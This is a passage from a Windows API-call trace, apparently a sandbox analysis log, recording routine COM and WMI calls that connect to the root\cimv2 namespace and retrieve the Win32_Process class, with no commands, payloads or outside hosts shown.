riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x11f86f0) returned 0x0 [0061.686] WbemLocator:IUnknown:Release (This=0x11f86d0) returned 0x0 [0061.686] WbemLocator:IUnknown:QueryInterface (in: This=0x11f86f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x11f86f0) returned 0x0 [0061.686] WbemLocator:IUnknown:QueryInterface (in: This=0x11f86f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0061.686] WbemLocator:IUnknown:AddRef (This=0x11f86f0) returned 0x3 [0061.686] WbemLocator:IUnknown:QueryInterface (in: This=0x11f86f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0061.686] WbemLocator:IUnknown:QueryInterface (in: This=0x11f86f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0061.686] WbemLocator:IUnknown:QueryInterface (in: This=0x11f86f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0061.686] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0061.686] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0061.686] WbemLocator:IUnknown:QueryInterface (in: This=0x11f86f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0061.687] WbemLocator:IUnknown:Release (This=0x11f86f0) returned 0x2 [0061.687] WbemLocator:IUnknown:Release (This=0x11f86f0) returned 0x1 [0061.687] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0061.687] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0061.687] WbemLocator:IUnknown:QueryInterface (in: This=0x11f86f0, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x11f86f0) returned 0x0 [0061.687] WbemLocator:IUnknown:AddRef (This=0x11f86f0) returned 0x3 [0061.687] WbemLocator:IUnknown:Release (This=0x11f86f0) returned 0x2 [0061.687] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a9a0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0061.687] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0061.687] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.687] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x11f8710) returned 0x0 [0061.687] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11f8710, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bed38f0) returned 0x0 [0061.729] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed38f0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11dfea0) returned 0x0 [0061.729] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11dfea0, pProxy=0x1bed38f0, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0061.729] WbemLocator:IUnknown:Release (This=0x11dfea0) returned 0x1 [0061.729] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed38f0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11dfee0) returned 0x0 [0061.729] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed38f0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11dfea0) returned 0x0 [0061.729] WbemLocator:IClientSecurity:SetBlanket (This=0x11dfea0, pProxy=0x1bed38f0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0061.729] WbemLocator:IUnknown:Release (This=0x11dfea0) returned 0x2 [0061.729] WbemLocator:IUnknown:Release (This=0x11dfee0) returned 0x1 [0061.729] CoTaskMemFree (pv=0x1beed760) [0061.729] WbemLocator:IUnknown:AddRef (This=0x1bed38f0) returned 0x2 [0061.730] WbemLocator:IUnknown:Release (This=0x11f8710) returned 0x0 [0061.730] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0061.730] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0061.730] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed38f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11dfeb0) returned 0x0 [0061.730] WbemLocator:IRpcOptions:Query (in: This=0x11dfeb0, pPrx=0x1bef7f60, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0061.730] WbemLocator:IUnknown:Release (This=0x11dfeb0) returned 0x2 [0061.730] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0061.730] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0061.730] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed38f0, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bed38f0) returned 0x0 [0061.731] WbemLocator:IUnknown:Release (This=0x1bed38f0) returned 0x2 [0061.731] SysStringLen (param_1=0x0) returned 0x0 [0061.731] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a9a0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0061.731] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0061.731] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.731] WbemDefPath:IWbemPath:GetText (in: This=0x119a6a0, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0061.731] WbemDefPath:IWbemPath:GetText (in: This=0x119a6a0, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0061.731] IWbemServices:GetObject (in: This=0x1bed38f0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1bef3600, ppCallResult=0x0) returned 0x0 [0061.745] IWbemClassObject:Get (in: This=0x1bef3600, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0061.745] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0061.745] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0061.745] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0061.745] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0061.745] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0061.745] IUnknown:Release (This=0x111f638) returned 0x1 [0061.747] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x11f8710) returned 0x0 [0061.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f8710, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0061.747] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f8710, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x119aa60) returned 0x0 [0061.747] WbemDefPath:IUnknown:Release (This=0x11f8710) returned 0x0 [0061.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aa60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x119aa60) returned 0x0 [0061.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aa60, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0061.748] WbemDefPath:IUnknown:AddRef (This=0x119aa60) returned 0x3 [0061.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aa60, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0061.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aa60, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0061.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aa60, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bef7f40) returned 0x0 [0061.748] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef7f40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.748] WbemDefPath:IUnknown:Release (This=0x1bef7f40) returned 0x3 [0061.748] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0061.748] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0061.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aa60, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0061.748] WbemDefPath:IUnknown:Release (This=0x119aa60) returned 0x2 [0061.748] WbemDefPath:IUnknown:Release (This=0x119aa60) returned 0x1 [0061.748] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0061.748] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0061.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aa60, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x119aa60) returned 0x0 [0061.748] WbemDefPath:IUnknown:AddRef (This=0x119aa60) returned 0x3 [0061.748] WbemDefPath:IUnknown:Release (This=0x119aa60) returned 0x2 [0061.748] WbemDefPath:IWbemPath:SetText (This=0x119aa60, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0061.749] IWbemClassObject:Get (in: This=0x1bef3600, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0061.749] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0061.749] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0061.749] IWbemClassObject:Get (in: This=0x1bef3600, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0061.749] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0061.749] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0061.749] IWbemClassObject:Get (in: This=0x1bef3600, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0061.749] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0061.749] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0061.750] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0061.750] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0061.750] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0061.750] IUnknown:Release (This=0x111f638) returned 0x1 [0061.751] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bef80c0) returned 0x0 [0061.752] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef80c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0061.752] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef80c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119ab20) returned 0x0 [0061.752] WbemDefPath:IUnknown:Release (This=0x1bef80c0) returned 0x0 [0061.752] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ab20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119ab20) returned 0x0 [0061.752] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ab20, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0061.752] WbemDefPath:IUnknown:AddRef (This=0x119ab20) returned 0x3 [0061.770] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ab20, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0061.770] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ab20, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0061.770] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ab20, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bef8100) returned 0x0 [0061.770] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8100, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.770] WbemDefPath:IUnknown:Release (This=0x1bef8100) returned 0x3 [0061.770] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0061.770] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0061.770] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ab20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0061.770] WbemDefPath:IUnknown:Release (This=0x119ab20) returned 0x2 [0061.770] WbemDefPath:IUnknown:Release (This=0x119ab20) returned 0x1 [0061.770] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0061.770] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0061.770] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ab20, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119ab20) returned 0x0 [0061.770] WbemDefPath:IUnknown:AddRef (This=0x119ab20) returned 0x3 [0061.770] WbemDefPath:IUnknown:Release (This=0x119ab20) returned 0x2 [0061.770] WbemDefPath:IWbemPath:SetText (This=0x119ab20, uMode=0x4, pszPath="") returned 0x0 [0061.771] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0061.771] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0061.771] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0061.771] IUnknown:Release (This=0x111f638) returned 0x1 [0061.773] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bef80c0) returned 0x0 [0061.773] WbemDefPath:IUnknown:QueryInterface (in: 